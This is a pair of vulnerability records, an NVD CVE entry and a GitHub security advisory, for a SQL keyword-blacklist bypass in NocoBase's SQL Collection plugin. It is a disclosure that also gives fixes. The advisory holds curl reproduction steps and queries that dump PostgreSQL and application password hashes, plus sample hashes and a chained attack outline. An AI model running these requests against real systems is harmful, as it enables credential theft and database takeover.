{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.0-alpha.46"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46."
    }
  ],
  "id": "CVE-2026-52888",
  "lastModified": "2026-07-16T16:19:12.290",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-52888",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-16T14:50:08.427743Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T21:16:54.673",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        },
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.62"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-alpha.1"
            },
            {
              "fixed": "2.1.0-alpha.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-beta.1"
            },
            {
              "fixed": "2.1.0-beta.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T20:53:08Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** \u2014 all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    // PostgreSQL \u2014 BLOCKED\n    \u0027pg_read_file\u0027,\n    \u0027pg_read_binary_file\u0027,\n    \u0027pg_stat_file\u0027,\n    \u0027pg_ls_dir\u0027,\n    \u0027pg_logdir_ls\u0027,\n    \u0027pg_terminate_backend\u0027,\n    \u0027pg_cancel_backend\u0027,\n    \u0027current_setting\u0027,\n    \u0027set_config\u0027,\n    \u0027pg_reload_conf\u0027,\n    \u0027pg_sleep\u0027,\n    \u0027generate_series\u0027,\n\n    // MySQL \u2014 BLOCKED\n    \u0027LOAD_FILE\u0027,\n    \u0027BENCHMARK\u0027,\n    \u0027@@global.\u0027,\n    \u0027@@session.\u0027,\n\n    // SQLite \u2014 BLOCKED\n    \u0027sqlite3_load_extension\u0027,\n    \u0027load_extension\u0027,\n  ];\n\n  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n  //                 information_schema, users table direct access, etc.\n\n  sql = sql.trim().split(\u0027;\u0027).shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n  }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts \u2014 execute action\nexecute: async (ctx: Context, next: Next) =\u003e {\n  const { sql } = ctx.action.params.values || {};\n  try {\n    checkSQL(sql);         // \u2190 insufficient validation\n  } catch (e) {\n    ctx.throw(400, ctx.t(e.message));\n  }\n  // SQL is executed directly against the database\n  const data = await model.findAll({ attributes: [\u0027*\u0027], limit: 5, raw: true });\n  ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** \u2014 `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** \u2014 `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** \u2014 full schema enumeration is possible\n4. **Schema-qualified variants** \u2014 even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://\u003cTARGET\u003e/api/auth:signIn \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@example.com\",\"password\":\"\u003cpassword\u003e\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027token\u0027])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}\u0027\n```\n\n**Response**:\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"usename\": \"nocobase\",\n        \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n      }\n    ]\n  }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}\u0027\n```\n\n**Response** (verified):\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"id\": 1,\n        \"email\": \"admin@nocobase.com\",\n        \"username\": \"nocobase\",\n        \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n      }\n    ]\n  }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file(\u0027/etc/passwd\u0027)` |Blocked | \u2014 |\n| `SELECT current_setting(\u0027app.key\u0027)` |Blocked | \u2014 |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed \u2192 S:C)\nThe `admin` role in NocoBase is an **application-level** role \u2014 it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase\u0027s UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above \u2014 data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application\u0027s DB credentials \u2014 bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n  \u2192 VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n  \u2192 VUL-1: RCE reads APP_KEY from process.env\n  \u2192 Forge JWT with admin role\n  \u2192 VUL-2: Dump pg_shadow + users.password\n  \u2192 Crack hashes \u2192 full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n  ```typescript\n  this.app.acl.registerSnippet({\n    name: `pm.data-source-manager.collection-sql`,\n    actions: [\u0027sqlCollection:*\u0027],   // includes :execute\n  });\n  ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n  // ... existing entries ...\n\n  // ADD: PostgreSQL system catalog tables with sensitive data\n  \u0027pg_shadow\u0027,\n  \u0027pg_authid\u0027,\n  \u0027pg_auth_members\u0027,\n  \u0027pg_stat_activity\u0027,\n  \u0027pg_roles\u0027,\n  // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t =\u003e allowedTables.includes(t))) {\n  throw new Error(\u0027Query references tables outside the allowed scope\u0027);\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application\u0027s DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application\u0027s own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` \u2014 `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance \u2014 `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732",
  "id": "GHSA-v8vm-cqh8-q87q",
  "modified": "2026-07-28T20:53:09Z",
  "published": "2026-07-28T20:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass"
}